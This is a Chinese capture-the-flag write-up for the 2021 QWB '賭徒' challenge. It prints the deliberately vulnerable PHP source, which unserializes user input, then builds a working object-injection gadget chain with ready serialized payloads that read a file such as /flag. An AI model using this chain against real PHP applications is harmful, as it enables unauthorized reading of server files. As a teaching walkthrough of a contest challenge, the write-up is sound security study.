1. 程式人生 > 其它 >2021qwb [強網先鋒]賭徒 Writeup + 環境復現

2021qwb [強網先鋒]賭徒 Writeup + 環境復現

2021 qwb [強網先鋒]賭徒 Writeup + 環境復現(win10)

1、本地環境復現(win10+phpStudy2018)

將比賽檔案複製到phpStudy的\phpStudy\PHPTutorial\WWW 網站執行目錄下;
比賽檔案index.php,原始碼就在此檔案中,www.zip 檔案為index.php的打包,其他資料夾自建,主要為了還原最真實的比賽環境。

2、Writeup 開始解題

開啟題目連結,發現就一句話,如下:

I think you need /etc/hint . Before this you need to see the source code

看看頁面原始碼,看了看請求和響應,發現一個小細節:
伺服器的環境出來了 Apache/2.4.18(Ubuntu) ==>此為當時比賽中真實截圖

基於此情況,對該連結進行“目錄掃描”操作

一個www.zip 的備份檔案(對照本地環境復現看),下載下來后里面有一個index.php的原始碼檔案,原始碼如下:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
	public $name='guest';
	public $flag='syst3m("cat 127.0.0.1/etc/hint");';

	public function __construct(){
		echo "I think you need /etc/hint . Before this you need to see the source code";
	}

	public function _sayhello(){
		echo $this->name;
		return 'ok';
	}

	public function __wakeup(){
		echo "hi";
		$this->_sayhello();
	}
	public function __get($cc){
		echo "give you flag : ".$this->flag;
		return ;
	}
}

class Info
{
	private $phonenumber=123123;
	public $promise='I do';

	public function __construct(){
		$this->promise='I will not !!!!';
		return $this->promise;
	}

	public function __toString(){
		return $this->file['filename']->ffiillee['ffiilleennaammee'];
	}
}

class Room
{
	public $filename='/flag';
	public $sth_to_set;
	public $a='';

	public function __get($name){
		$function = $this->a;
		return $function();
	}

	public function Get_hint($file){
		$hint=base64_encode(file_get_contents($file));
		echo $hint;
		return ;
	}

	public function __invoke(){
		$content = $this->Get_hint($this->filename);
		echo $content;
	}
}

if(isset($_GET['hello'])){
	unserialize($_GET['hello']);
}else{
	$hi = new  Start();
}

?>

從程式碼中分析可以看出,給“hello”傳參,然後進行序列化攻擊。

現在問題來了,程式碼中一共有3個類,我們需要從哪一個類開始下手呢?

通過對魔術方法和序列化的的學習,我們只能從Start這個類開始下手,當對這個該類進行反序列化時,會自動執行wakeup()方法,而這3個類中只有Start類存在這個方法。

再繼續觀察發現,我們最終需要達到的目的地是Room類的Get_hint()方法。

構造payload:

<?php
include "index.php";
$a = new Start();			// __wakeup()進入,
$a->name = new Info();		// Info的__toString()進入
$a->name->file["filename"] = new Room();	// Room的__get()進入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()進入
echo "<br>";
echo serialize($a);
?>

在我們本地搭建的環境中執行payload.php

序列化得到payload(false):

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

由於我們本地win10環境,flag檔案放在C盤根目錄下,名為flag。

故再次序列化payload(true)變更為:

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

注意:Infophonenumber,要用%00截斷,因為phonenumber為類Info中的變數,這樣才能符合序列化語句的構造。不然反序列化結果會有問題,什麼都沒有一片空白(親測)!

最後,利用了魔術方法的特性成功進行了序列化攻擊,實現了在一個類跳轉到另一個類並執行方法!

ZmxhZ3s0NTZiNzg5LWE0YWUtMTg1My1hMWIyLXExdzJlM3I0dDV9
注意:hi 是之前Start類中輸出的內容!

得到base64編碼後的字串進行解碼:

最終得到了flag並與flag檔案中的內容進行比對。

flag{456b789-a4ae-1853-a1b2-q1w2e3r4t5}

以上就是本文的全部內容,希望對大家的學習有所幫助,參考原文地址:https://www.cnblogs.com/seizer/p/14883148.html